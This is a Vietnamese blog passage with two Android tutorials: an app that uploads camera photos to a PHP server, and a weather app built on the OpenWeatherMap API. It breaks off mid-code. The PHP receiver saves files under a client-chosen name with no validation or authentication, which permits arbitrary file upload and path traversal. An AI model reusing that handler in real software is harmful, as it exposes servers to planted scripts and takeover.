Bài 65: Xây dựng phần mềm Camera Uploader trong Android Studio


Ngày nay với sự ra đời của nhiều mạng xã hội (Facebook, Google +, Linkedin, Twitter…) nơi mà mỗi con người chúng ta có thể dễ dàng chém gió xả stress cũng như bắt người khác ăn stress. Tui nghĩ rằng mạng xã hội đã và đang đi sâu vào quần chúng, đi sâu vào mọi ngõ ngách hẻm hóc trong mỗi người sử dụng công nghệ. Ngoài chém thuần túy thông qua những trận phun châu nhả ngọc chúng ta còn có thể chém gió thông qua những tấm hình… để giải stress hoặc ăn thêm stress.

Việc chia sẻ hình ảnh trên Facebook giúp mọi người sử dụng trong mạng có kết nối có thể nhận được sự chia sẻ và hưởng thụ cảm giác hạnh phúc từ những tấm hình không hề vô tri vô giác. Tuy nhiên không phải tấm hình nào chúng ta cũng có thể chia sẻ lên mạng xã hội để tránh gây phiền toái cũng như bảo mật thông tin. Hiện nay các dòng máy Sờ Mác Phôn của Hồ Cẩm Đào ngày càng thịnh hành với giá rẻ đến ngạc nhiên nên hầu như ai cũng có thể sở hữu nó, và đặc biệt đi đến đâu cũng có WIFI miễn phí, quán nước mía 5k/1 ly cũng có WIFI miễn phí và kể cả quán cơm chay cũng có WIFI miễn phí (rất may WIFI chưa được đưa vào là món ăn mặn). Việc sở hữu 1 chiếc điện thoại hoành tráng cùng với internet miễn phí nên chúng ta có thể tự sướng và chỉ cần 1 cú nhấn “tách” là hình này có thể lên “Phây” ngay và “nuôn”. Nhưng có những công ty họ cần viết các phần mềm trên Smartphone để nhận hình ảnh từ nhân viên gửi về máy chủ, họ không muốn chia sẻ những hình ảnh bí mật này, họ muốn xây dựng một server riêng mỗi lần nhân viên chụp hình thì có thể tự động gửi hình này lên Server để tiến hành phân tích. Ví dụ như Tui có một người bạn làm trong ngành định giá bất động sản, phải đến tận nơi khảo sát chụp ảnh mọi vùng liên quan để có chứng cứ định giá chính xác hơn, nhân viên khi đi khảo sát ở xa chỉ cần chụp hình và thông qua 3G sẽ gửi những hình ảnh trực tiếp này lên server và ở công ty nhóm phân tích sẽ dựa vào những hình ảnh này để hỗ trợ đắc lực cho việc ra quyết định định giá.

-Vì vậy Trong bài tập này Tui muốn hướng dẫn các bạn xây dựng phần mềm Camera Uploader, hi vọng nếu như một ngày nào đó có bạn sinh viên nào cần phải viết phần mềm tương tự có thể đáp ứng được.

– Phần mềm này gồm các chức năng sau (ở đây Tui không làm giao diện đẹp, Tui xử lý coding):

1) Xây dựng Server riêng để lưu trữ hình ảnh gửi về từ client

2) “Thiết kế” một website PHP hiển thị hình ảnh để demo (cho có cảm giác)

3) Xây dựng chức năng Cho phép sử dụng Camera để chụp ảnh

4) Đưa ảnh mới chụp lên Server riêng của công ty

5) Cho phép lấy những hình ảnh khác được chụp trước đó trong điện thoại lên Server riêng.

Giao diện chính vô cùng đơn gian như sau:

android65_1Chương trình chỉ có 3 control chính: ImageView để hiển thị hình ảnh chụp được hoặc hình ảnh có sẵn, ImageButton chụp ảnh, ImageButton upload lên Server, ngoài ra có Menu để cho phép lấy hình ảnh có sẵn trong điện thoại lên giao diện.

1)- Trước tiên ta cần xây dựng server riêng, ở đây Tui hướng dẫn các bạn sử dụng một server khác miễn phí tương tự như somee.com để các bạn có thêm trải nghiệm.

Các bạn vào trang http://freevnn.com/ đăng ký gói free hosting.

Sau khi đăng ký thành công hệ thống sẽ gửi email cho bạn thông tin chi tiết về đăng nhập Cpanel, FTP, phpAdmin…

android65_2Sau khi đăng ký thành công, bạn sẽ nhân được 1 email tương tự như sau:

android65_3Bạn cần nghiên cứu CPANEL của hosting này vì Tui thấy nó rất hữu ích cho các bạn.

– Ta tiến hành viết 2 trang php để làm service tải hình từ client lên server riêng và dùng để trình diễn những hình ảnh đã tải lên server riêng. Nếu bạn nào chưa biết php cũng không sao (cứ coi như mình đã biết để đỡ tủi thân, sau đó tự học sau cho nó bằng bạn bằng bè).

– Bạn dùng Notepad ++ để tạo Trang index2.php cho lẹ, trang nay Tui dùng để nhận hình ảnh từ Client gửi về.


<?php
header('Content-Type: text/html; charset=utf-8');
echo "Lấy Hình Từ Android";
error_reporting(E_ALL);
$target_Path = "images/";
if(isset($_POST['ImageName'])){
$imgname = $_POST['ImageName'];
$target_Path = $target_Path.$imgname;
$imsrc = base64_decode($_POST['base64']);
$fp = fopen($target_Path, 'w');
fwrite($fp, $imsrc);
if(fclose($fp)){
echo "Tải hình thành công";
}else{
echo "Tải hình thất bại";
}
}
?>

Coding ở trên mỗi lần lấy được bất cứ hình nào gửi về từ client thì nó sẽ lưu vào thư mục images trên server. Bạn để ý 2 từ khóa “ImageName” và “base64” nó được gửi về từ client là tên hình và binary hình định dạng chuỗi.

– Tiếp theo bạn “thiết kế” một trang index.php để trình diễn mọi hình ảnh gửi về từ client.


<?php
$url1=$_SERVER['REQUEST_URI'];
header("Refresh: 5; URL=$url1");
$imagesDir = 'images/';
$images = glob($imagesDir . '*.{jpg,jpeg,png,gif}', GLOB_BRACE);
foreach ($images as $img) {
echo "<img src='$img' width='300' height='300'/> ";
}
?>

code trên đơn giản chỉ là đọc toàn bộ hình ảnh trong thư mục images rồi hiển thị lên giao diện, mỗi hình Tui để 300, 300.

– Sau đó ta đưa 2 trang web này lên Server riêng vừa đăng ký, ở đây bạn có thể sài bất kỳ phần mềm nào (FTP) cũng được. Vì nó có mấy lạng nên tui dùng Totalcommander luôn cho lẹ (bạn phải copy paste thông tin mà nó gửi email về cho các bạn để đăng nhập vào FTP):

android65_4Vào menu Net/ chọn FTP connect…

android65_5Chọn New Connection :

android65_6Nhập Hostname, user name, password… rồi nhấn nút OK. Sau đó ra màn hình nhấn nút Connect.

android65_7Bạn vào bên trong thư mục htdocs. Tạo 1 thư mục images, và chép 2 file index.phpindex2.php vào htdocs như hình Tui chụp ở trên.

index2.php sẽ được gọi trong android client, còn index.php sẽ được truy suất trực tiếp trên website. Ví dụ khi bạn chụp và gửi 1 hình lên Server riêng thì bạn chỉ cần gọi tên miền đã đăng ký là chương trình sẽ tự động hiển thị toàn bộ hình lên website (không cần gõ index.php vì nó ngầm mặc định là trang chủ), ví dụ tui vào http://duythanhcse.freevnn.com/ sẽ có kết quả:

android65_8– Như vậy là bạn đã cấu hình xong Server, bây giờ tiến hành coding cho Client.

– Ta xem cấu trúc của Project Android:

android65_9– Tiến hành thiết kế giao diện cho activity_main.xml như sau:


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
android:layout_height="match_parent" android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
android:paddingBottom="@dimen/activity_vertical_margin" tools:context=".MainActivity"
android:orientation="vertical"
>

<ImageView
android:id="@+id/Imageprev"
android:layout_width="match_parent"
android:layout_height="380dp" />

<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content" >

<ImageButton
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:id="@+id/btnCapture"
android:src="@drawable/camera" />

<ImageButton
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:id="@+id/btnUpload"
android:src="@drawable/upload"
android:layout_gravity="right" />
</LinearLayout>

</LinearLayout>

-Nhớ bổ sung thêm 1 menu đọc hình ảnh từ điện thoại:


<menu xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools" tools:context=".MainActivity">
<item android:id="@+id/mnuImageList" android:title="Xem hình trong SD Card"></item>
<item android:id="@+id/action_settings" android:title="@string/action_settings"
android:orderInCategory="100" app:showAsAction="never" />
</menu>

-Tiến hành viết UploadToServerTask là lớp đa tiến trình để tải hình từ client lên Server.


package com.tranduythanh.camerauploader;

import android.app.Activity;
import android.app.ProgressDialog;
import android.os.AsyncTask;
import android.util.Log;

import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.util.EntityUtils;

import java.util.ArrayList;

/**
* Created by drthanh on 14/05/2015.
*/
public class UploadToServerTask extends AsyncTask<Void, Void, String> {

//URL để tải hình lên server
private String URL = "http://duythanhcse.freevnn.com/index2.php";
private Activity context=null;
private ProgressDialog progressDialog=null;
private String ba1;
public UploadToServerTask(Activity context, String ba1)
{
this.context=context;
this.ba1=ba1;
this.progressDialog=new ProgressDialog(this.context);
}
protected void onPreExecute() {
super.onPreExecute();
this.progressDialog.setMessage("Vui lòng chờ hệ thống đang upload hình!");
this.progressDialog.show();
}

@Override
protected String doInBackground(Void... params) {
//Coding gửi hình lên Server
ArrayList<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>();
nameValuePairs.add(new BasicNameValuePair("base64", ba1));
nameValuePairs.add(new BasicNameValuePair("ImageName", System.currentTimeMillis() + ".jpg"));
try {
HttpClient httpclient = new DefaultHttpClient();
HttpPost httppost = new HttpPost(URL);
httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
HttpResponse response = httpclient.execute(httppost);
String st = EntityUtils.toString(response.getEntity());
Log.v("log_tag", "In the try Loop" + st);

} catch (Exception e) {
Log.v("log_tag", "Lỗi kết nối : " + e.toString());
}
return "Thành công";

}

protected void onPostExecute(String result) {
super.onPostExecute(result);
this.progressDialog.hide();
this.progressDialog.dismiss();
}
}

– Cuối cùng tiến hành coding cho MainActivity:

+ Trong lớp này cho phép chụp hình và chỉ lấy thumbnail để tối ưu bộ nhớ

+ Tương tự cho việc lấy hình ảnh có sẵn cũng lấy thumbnail

+ Đặc biệt tự động quay lại hình (rotate) nếu như hình bị quay không đúng hướng layout của phần mềm.


package com.tranduythanh.camerauploader;

import android.graphics.Matrix;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import java.io.ByteArrayOutputStream;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.net.Uri;
import android.provider.MediaStore;
import android.util.Base64;
import android.util.Log;
import android.view.View;
import android.widget.ImageButton;
import android.widget.ImageView;
import android.widget.Toast;

public class MainActivity extends ActionBarActivity {
ImageButton btnCapture, btnUpload;
ImageView imageView;
private Uri fileUri;
String picturePath;
Uri selectedUriImage;
Bitmap selectedBitmap;
String ba1;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
addControls();
addEvents();
}
public void addControls()
{
btnCapture = (ImageButton) findViewById(R.id.btnCapture);
btnUpload = (ImageButton) findViewById(R.id.btnUpload);
imageView = (ImageView) findViewById(R.id.Imageprev);
btnUpload.setEnabled(false);
}
public void addEvents()
{
btnCapture.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
capturePicture();
}
});
btnUpload.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
uploadPictureToServer();
}
});
}

/**
* hàm xử lý lấy thumbnail để tối ưu bộ nhớ
* @param pathHinh
* @return
*/
public Bitmap getThumbnail(String pathHinh)
{
BitmapFactory.Options bounds = new BitmapFactory.Options();
bounds.inJustDecodeBounds = true;
BitmapFactory.decodeFile(pathHinh, bounds);
if ((bounds.outWidth == -1) || (bounds.outHeight == -1))
return null;
int originalSize = (bounds.outHeight > bounds.outWidth) ?
bounds.outHeight
: bounds.outWidth;
BitmapFactory.Options opts = new BitmapFactory.Options();
opts.inSampleSize = originalSize / 500;
return BitmapFactory.decodeFile(pathHinh, opts);
}

/**
* Hàm xử lys lấy encode hình để gửi lên Server
*/
private void uploadPictureToServer() {
Log.e("path", "----------------" + picturePath);
ByteArrayOutputStream bao = new ByteArrayOutputStream();
selectedBitmap.compress(Bitmap.CompressFormat.JPEG, 100, bao);
byte[] ba = bao.toByteArray();
ba1 =Base64.encodeToString(ba,Base64.DEFAULT);

Log.e("base64", "-----" + ba1);

// Upload hình  lên server
UploadToServerTask uploadToServer=new UploadToServerTask(MainActivity.this,ba1);
uploadToServer.execute();
}

private void capturePicture() {
// Kiểm tra Camera trong thiết bị
if (getApplicationContext().getPackageManager().hasSystemFeature(
PackageManager.FEATURE_CAMERA)) {
// Mở camera mặc định
Intent intent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
intent.putExtra(MediaStore.EXTRA_OUTPUT, fileUri);

// Tiến hành gọi Capture Image intent
startActivityForResult(intent, 100);

} else {
Toast.makeText(getApplication(), "Camera không được hỗ trợ", Toast.LENGTH_LONG).show();
}
}

/**
* Lấy đường dẫn file hình theo uri hình
* @param uriImage
* @return
*/
public String getPicturePath(Uri uriImage)
{
String[] filePathColumn = {MediaStore.Images.Media.DATA};
Cursor cursor = getContentResolver().query(uriImage,
filePathColumn, null, null, null);
cursor.moveToFirst();

int columnIndex = cursor.getColumnIndex(filePathColumn[0]);
String path = cursor.getString(columnIndex);
cursor.close();
return path;
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
if ((requestCode == 100||requestCode==200) && resultCode == RESULT_OK) {
//Lấy URI hình kết quả trả về
selectedUriImage = data.getData();
//lấy đường dẫn hình
picturePath=getPicturePath(selectedUriImage);
//lấy thumbnail để tối ưu bộ nhớ
selectedBitmap=getThumbnail(picturePath);
selectedBitmap=rotateImageIfRequired(selectedBitmap,selectedUriImage);
imageView.setImageBitmap(selectedBitmap);
btnUpload.setEnabled(true);
}
}
/**
* Hàm hiển thị Camera folder và cho phép hiển thị hình người sử dụng chọn
* lên giao diện, hình này sẽ được gửi lên Server nếu muốn
*/
public void processChonHinh()
{
Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
intent.setType("image/*");
startActivityForResult(intent, 200);
}
/**
* Quay lại hình nếu chưa đúng
* @param img
* @param selectedImage
* @return
*/
private  Bitmap rotateImageIfRequired(Bitmap img, Uri selectedImage) {

// Detect rotation
int rotation=getRotation();
if(rotation!=0){
Matrix matrix = new Matrix();
matrix.postRotate(rotation);
Bitmap rotatedImg = Bitmap.createBitmap(img, 0, 0, img.getWidth(), img.getHeight(), matrix, true);
img.recycle();
return rotatedImg;
}else{
return img;
}
}
/**
* Lấy Rotation của hình
* @return
*/
private int getRotation() {
String[] filePathColumn = {MediaStore.Images.Media.ORIENTATION};
Cursor cursor = getContentResolver().query(selectedUriImage,
filePathColumn, null, null, null);
cursor.moveToFirst();

int rotation =0;
rotation = cursor.getInt(0);
cursor.close();
return rotation;
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_main, menu);
return true;
}

@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();

//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}
if(id==R.id.mnuImageList)
{
processChonHinh();
}
return super.onOptionsItemSelected(item);
}
}

– Nhớ cấu hình AndroidManifest:


<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.tranduythanh.camerauploader" >

<uses-feature
android:name="android.hardware.Camera"
android:required="true" >
</uses-feature>

<uses-permission android:name="android.permission.CAMERA" >
</uses-permission>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.INTERNET" >
</uses-permission>

<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name=".MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>

</manifest>

– Thực thi phần mềm, tiến hành chụp rồi gửi lên Server

– Hoặc vào menu lấy hình có sẵn trong máy gửi lên server:

android65_10– Sau đó nhấn nút Upload để đưa lên Server:

android65_11–> Chương trình sử dụng kỹ thuật đa tiến trình để tải hình lên server.

Ta có thể kiểm tra lại kết quả các hình chụp và hình lấy sẵn được truyền lên server:

android65_12– Như vậy bạn đã hoàn thành xong phần mềm và có thể test chạy trực tiếp trên server riêng Tôi tạo, nhưng các bạn nhớ tự tạo riêng để test để học hỏi được nhiều hơn.

– và nhớ bổ sung thêm hàm kiểm tra xem điện thoại có đang kết nối internet hay không nhé, nếu chưa có internet thì phải tắt nút Upload hình đi, đoạn code kiểm tra internet có hay không đã được đề cập đến trong bài 64 dự báo thời tiết.

– Bạn có thể tải source code đầy đủ ở đây: http://www.mediafire.com/download/ts6agjkv3z30z8a/CameraUploader.rar

-Chúc các bạn thành công.

Bài 64: Xây dựng phần mềm dự báo thời tiết


Tui muốn tổng hợp các bài tập về Google Map, về Đa tiến trình, về JSon, Webservice…. để xây dựng phần mềm dự báo thời tiết đơn giản như hình dưới đây:

android_64_0– Phần mềm sẽ có 4 chức năng như mô tả ở trên, để làm được bài này thì các bạn cần phải có các kiến thức sau:

+ Kiến thức về lập trình đa tiến trình:

Bài tập 33: Sử dụng ContentProvider trong Android

Bài tập 34: đa tiến trình trong Android (Multi-Threading)

Bài 35 : Vẽ Button lúc Runtime, dùng Using Message của Handler class

Bài 36: Update ListView At runtime by Handler class using post

Bài 37: Xử lý đa tiến trình bằng AsyncTask

Bài 38: Lấy kết quả trả về sau khi thực hiện đa tiến trình bằng AsyncTask

Bài 39: Kết hợp AsyncTask và Handler class

+ Kiến thức về lập trình Google Map:

Bài 53: Google Maps Android API – phần 1

Bài 54: Google Maps Android API – phần 2

Bài 55: Google Maps Android API – phần 3

Bài 56: Google Maps Android API – phần 4

+Kiến thức về Webservice với định dạng JSON hoặc SOAP (XML):

Bài 43: Android vs .net Web Services

Bài 44: Cách tạo Webservice

Bài 45: Sử dụng .Net Webservice trong C#

Bài 46: Sử dụng .Net Webservice trong Android

Bài 51: Xử lý JSON trong Android

Bài 52: Tạo định dạng JSON trong C# asp.net service vs Android

+Kiến thức về chuyển đổi JSON qua Java class:

Bài 61: Cách đưa định dạng JSon về Java class bằng GSon

Bài 62: Cách đưa định dạng JSon về Java class bằng GSon (tiếp 1)

Bài 63: Cách đưa định dạng JSon về Java class bằng GSon (tiếp 2)

Đồng thời nghiên cứu thêm API Open Weather Map(Hỗ trợ xem thời tiết hầu hết mọi nơi trên thế giới, được đánh giá là một trong những API cũng cấp webservice về dự báo thời tiết tốt nhất hiện nay)

Ví dụ 0: Xem thời tiết ở Thành Phố Hồ Chí Minh:

http://api.openweathermap.org/data/2.5/weather?q=hồ chí minh

Ví dụ 1: Xem thời tiết ở Đà Lạt

http://api.openweathermap.org/data/2.5/forecast/daily?q=đà lạt

Ví dụ 2: Xem thời tiết ở Đà Lạt sau 15 ngày nữa thì như thế nào:

http://api.openweathermap.org/data/2.5/forecast/daily?q=đà lạt&cnt=15

Ví dụ 3: Xem thời tiết ở 1 Kinh độ và Vĩ độ bất kỳ (ứng dụng hiển thị trên Google Map)

http://api.openweathermap.org/data/2.5/forecast/daily?lat=35&lon=139&cnt=10&mode=json

Chi tiết hướng dẫn sử dụng: http://openweathermap.org/api

Các bạn tranh thủ ôn lại các bài trên sau đó Tui sẽ trình bày chi tiết từng bước cách thực hiện dự án này.

Trước khi bắt tay vào lập trình bài này thì ta xem sơ qua cấu trúc JSON khi kiểm tra thời tiết của một địa điểm nào đó, ví dụ ở Thành Phố Hồ Chí Minh:

http://api.openweathermap.org/data/2.5/weather?q=hồ chí minh

hay dùng kinh độ vĩ độ (để áp dụng cho chức năng đầu tiên là xem thời tiết tại địa điểm hiện tại, theo địa chỉ bất kỳ, hay xem trên Google Map):

http://api.openweathermap.org/data/2.5/weather?lat=10.778182&lon=106.665504

Ta được kết quả tương tự như sau:

android_64_1Việc phân tích cấu trúc JSON để viết Java class các bạn đã được học kỹ ở các bài trước rồi, nên bài này Tui không nói nữa mà Tui chỉ show Mô hình Java class đã viết ra như sau (Bạn tự viết):

android_64_2– Ta sẽ dùng GSon để chuyển JSON qua Java class, từ đó dễ dàng cho việc sử dụng lấy thông tin dự báo thời tiết.

– Còn dưới đây là cấu trúc JSON cho trường hợp dự báo các ngày khác (Daily):

Ví dụ:

http://api.openweathermap.org/data/2.5/forecast/daily?lat=10.778182&lon=106.665504&cnt=10

Hay:

http://api.openweathermap.org/data/2.5/forecast/daily?q=hồ chí minh&cnt=10

Thì ta có kết quả với cấu trúc JSON khá khác cho với trường hợp trên như sau:

android_64_3–> Bạn tự phân tích cấu trúc ở trên để viết Java Class cho trường hợp Daily (chức năng số 3).

Trong Project này Tui sẽ thực hiện 3 chức năng (thời tiết địa điểm hiện tại của thiết bị, xem thời tiết theo địa điểm nhập bất kỳ và xem thời tiết trên Google Map), còn chức năng dự báo ngày kế tiếp các bạn tiếp tục thực hiện.

Tui có cấu trúc tập tin, class của dự án như sau:

android64_1– Tui chụp màn hình sử dụng phần mềm dự báo thời tiết như sau:

1) Từ màn hình chính, nếu bấm vào “Thời tiết địa điểm hiện tại của thiết bị”:

android64_2Chương trình sẽ hiển thị thông báo chi tiết dự báo thời tiết như sau:

android64_3Ta thấy chi tiết của địa điểm hiện tại của thiết bị (vị trị hiện tại tương đối trong phạm vi thiết bị), ở trên ta thấy nhiệt độ, bầu trời bằng hình có nắng, có mây, có mưa…, tốc độ gió, áp suất…

2) Từ màn hình chính, nếu bấm vào “Xem thời tiết theo địa điểm nhập bất kỳ”:

android64_4Chương trình sẽ hiển thị màn hình cho phép nhập địa chỉ bất kỳ, hoặc chọn các tỉnh thành có sẵn của Việt Nam (muốn bất kỳ địa điểm nào khác ở Việt Nam hay trên thế giới thì tự gõ địa chỉ vào), màn hình chọn địa điểm:

android64_5Nếu ta chọn hoặc nhập địa điểm bất kỳ, ví dụ như Hồ Chí Minh, ta có kết quả sau:

android64_6Ở hình trên ta thấy đấy, Hồ Chí Minh tuy có mưa nhưng nhiệt độ vẫn nóng là 34.2 độ C. Đúng là tại thời điểm Tui post hình này lên là Sài gòn đang mưa và vẫn nóng le lưỡi.

3) Tại màn hình chính, chọn “Xem thời tiết trên Google Map”, chương trình sẽ tự động hiển thị thời tiết tại vị trí hiện tại trên bản đồ, và cho phép bạn nhấn chọn bất kỳ địa điểm nào đó trên bản đồ để xem thời tiết. Đây là chức năng rất thú vị và coding hơi phức tạp.

android64_7Ta có kết quả:

android64_8Nhớ là bạn có thể nhấn chọn vị trí khác để xem thời tiết, ví dụ Tui chọn Nguyễn văn Trỗi:

android64_9Nếu làm tốt bài này bạn có thể áp dụng một cách uyển chuyển vào các dự án liên quan tới Du lịch, xem thời tiết….

Sau đây là Coding chi tiết cho từng phần, tui sẽ giải thích những đặc tính mới trong Android Studio, còn những cái này tương tự như Eclipse thì thôi  (Tui chỉ trỏ link tới rồi các bạn đọc lại).

Ta cần xây dựng mô hình class cho Weather theo tọa độ và địa chỉ của kết quả Json 2 loại dưới đây:

http://api.openweathermap.org/data/2.5/weather?lat=10.778182&lon=106.665504

http://api.openweathermap.org/data/2.5/weather?q=Đà lạt

Như sau:

android64_10Tui sẽ không phân tích hay giải thích tại sao phải viết các lớp như trên nữa, vì Tui đã hướng dẫn chi tiết ở các bài 61, bài 62, bài 63 các bạn bắt buộc phải đọc lại.

Soure code từng lớp như sau:

Lớp Clouds:


package com.tranduythanh.model;

/**
* Created by drthanh on 04/04/2015.
*/
public class Clouds {
private int all;

public int getAll() {
return all;
}

public void setAll(int all) {
this.all = all;
}
}

Lớp Coord:


package com.tranduythanh.model;

/**
* Created by drthanh on 04/04/2015.
*/
public class Coord {
private  double lon;
private double lat;

public double getLon() {
return lon;
}

public void setLon(double lon) {
this.lon = lon;
}

public double getLat() {
return lat;
}

public void setLat(double lat) {
this.lat = lat;
}
}

Lớp Main:


package com.tranduythanh.model;

public class Main {
private double temp;
private double temp_min;
private double temp_max;
private double pressure;
private double sea_level;
private double grnd_level;
private double humidity;
public double getTemp() {
return temp;
}
public void setTemp(double temp) {
this.temp = temp;
}
public double getTemp_min() {
return temp_min;
}
public void setTemp_min(double temp_min) {
this.temp_min = temp_min;
}
public double getTemp_max() {
return temp_max;
}
public void setTemp_max(double temp_max) {
this.temp_max = temp_max;
}
public double getPressure() {
return pressure;
}
public void setPressure(double pressure) {
this.pressure = pressure;
}
public double getHumidity() {
return humidity;
}
public void setHumidity(double humidity) {
this.humidity = humidity;
}

public double getSea_level() {
return sea_level;
}

public void setSea_level(double sea_level) {
this.sea_level = sea_level;
}

public double getGrnd_level() {
return grnd_level;
}

public void setGrnd_level(double grnd_level) {
this.grnd_level = grnd_level;
}
}

Lớp Sys:


package com.tranduythanh.model;

public class Sys {
private double message;
private String country;
private long sunrise;
private long sunset;
public String getCountry() {
return country;
}
public void setCountry(String country) {
this.country = country;
}
public long getSunrise() {
return sunrise;
}
public void setSunrise(long sunrise) {
this.sunrise = sunrise;
}
public long getSunset() {
return sunset;
}
public void setSunset(long sunset) {
this.sunset = sunset;
}

public double getMessage() {
return message;
}

public void setMessage(double message) {
this.message = message;
}
}

Lớp WeatherItem:


package com.tranduythanh.model;

public class WeatherItem {
private long id;
private String main;
private String description;
private String icon;
public long getId() {
return id;
}
public void setId(long id) {
this.id = id;
}
public String getMain() {
return main;
}
public void setMain(String main) {
this.main = main;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public String getIcon() {
return icon;
}
public void setIcon(String icon) {
this.icon = icon;
}

}

Lớp Wind:


package com.tranduythanh.model;

public class Wind {
private double speed;
private double deg;

public double getSpeed() {
return speed;
}

public void setSpeed(double speed) {
this.speed = speed;
}

public double getDeg() {
return deg;
}

public void setDeg(double deg) {
this.deg = deg;
}
}

Và cuối cùng là lớp tổng hợp JSON:

Lớp OpenWeatherJSon:


package com.tranduythanh.model;

import java.util.List;

public class OpenWeatherJSon {
private Coord coord;
private Sys sys;
private List<WeatherItem> weather;
private String base;
private Main main;
private Wind wind;
private Clouds clouds;
private long dt;
private long id;
private String name;
private int cod;

public Coord getCoord() {
return coord;
}

public void setCoord(Coord coord) {
this.coord = coord;
}

public Sys getSys() {
return sys;
}

public void setSys(Sys sys) {
this.sys = sys;
}

public List<WeatherItem> getWeather() {
return weather;
}

public void setWeather(List<WeatherItem> weather) {
this.weather = weather;
}

public String getBase() {
return base;
}

public void setBase(String base) {
this.base = base;
}

public Main getMain() {
return main;
}

public void setMain(Main main) {
this.main = main;
}

public Wind getWind() {
return wind;
}

public void setWind(Wind wind) {
this.wind = wind;
}

public Clouds getClouds() {
return clouds;
}

public void setClouds(Clouds clouds) {
this.clouds = clouds;
}

public long getDt() {
return dt;
}

public void setDt(long dt) {
this.dt = dt;
}

public long getId() {
return id;
}

public void setId(long id) {
this.id = id;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getCod() {
return cod;
}

public void setCod(int cod) {
this.cod = cod;
}
}

– Như vậy ta đã có đủ mô hình lớp về kết quả dự báo thời tiết theo định dạng JSON.

– Bạn cần chú ý phải thêm thư viện cho dự án để đưa về Json thông qua GSon (Bạn xem lại thư viện ở các bài trước, ở bài này Tui không hướng dẫn nữa).

– Tiến hành viết thư viện đọc thời tiết bằng đa tiến trình, thư viên này được sử dụng và tái sử dụng cho các chức năng kiểm tra thời tiết theo tọa độ hay địa chỉ.

android64_11Chi tiết từng lớp như sau:

Enum TypePrediction:


package com.tranduythanh.utils;

/**
 * Created by drthanh on 11/05/2015.
 */
public enum TypePrediction {
    ADDRESS_NAME,//nhập theo địa chỉ cụ thể
    LATITUDE_LONGITUDE//nhập theo vĩ độ kinh độ
}

 

enum này để chia ra 2 loại là xem thời tiết theo địa chỉ và theo tọa độ.

Lớp OpenWeatherMapAPI, lớp này dùng để đọc thông tin thời tiết (đưa Json về model java class thông qua GSon):


package com.tranduythanh.utils;

import com.google.gson.Gson;
import com.tranduythanh.model.OpenWeatherJSon;

import java.io.IOException;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;

/**
* Created by drthanh on 03/04/2015.
*/
public class OpenWeatherMapAPI {
public static OpenWeatherJSon prediction(String q)
{
try {
String location= URLEncoder.encode(q, "UTF-8");

URL url = new URL("http://api.openweathermap.org/data/2.5/weather?q="+location);
InputStreamReader reader = new InputStreamReader(url.openStream(),"UTF-8");
OpenWeatherJSon results = new Gson().fromJson(reader, OpenWeatherJSon.class);

String idIcon = results.getWeather().get(0).getIcon().toString();
String urlIcon = "http://openweathermap.org/img/w/"+idIcon+".png";
URL urlImage = new URL(urlIcon);

return results;

} catch (MalformedURLException e) {
// TODO Auto-generated catch block
//e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
//e.printStackTrace();
}
return null;
}

/**
*
* http://api.openweathermap.org/data/2.5/weather?lat=10.778182&lon=106.665504
* @param lat
* @param lon
* @return
*/
public static OpenWeatherJSon prediction(double lat,double lon)
{
try {

URL url = new URL("http://api.openweathermap.org/data/2.5/weather?lat="+lat+"&lon="+lon);
InputStreamReader reader = new InputStreamReader(url.openStream(),"UTF-8");
OpenWeatherJSon results = new Gson().fromJson(reader, OpenWeatherJSon.class);

String idIcon = results.getWeather().get(0).getIcon().toString();
String urlIcon = "http://openweathermap.org/img/w/"+idIcon+".png";
URL urlImage = new URL(urlIcon);

return results;

} catch (MalformedURLException e) {
// TODO Auto-generated catch block
//e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
//e.printStackTrace();
}
return null;
}

/**
* Sửa lại WeatherJSON vì chưa phù hợp trong trường hợp Daily
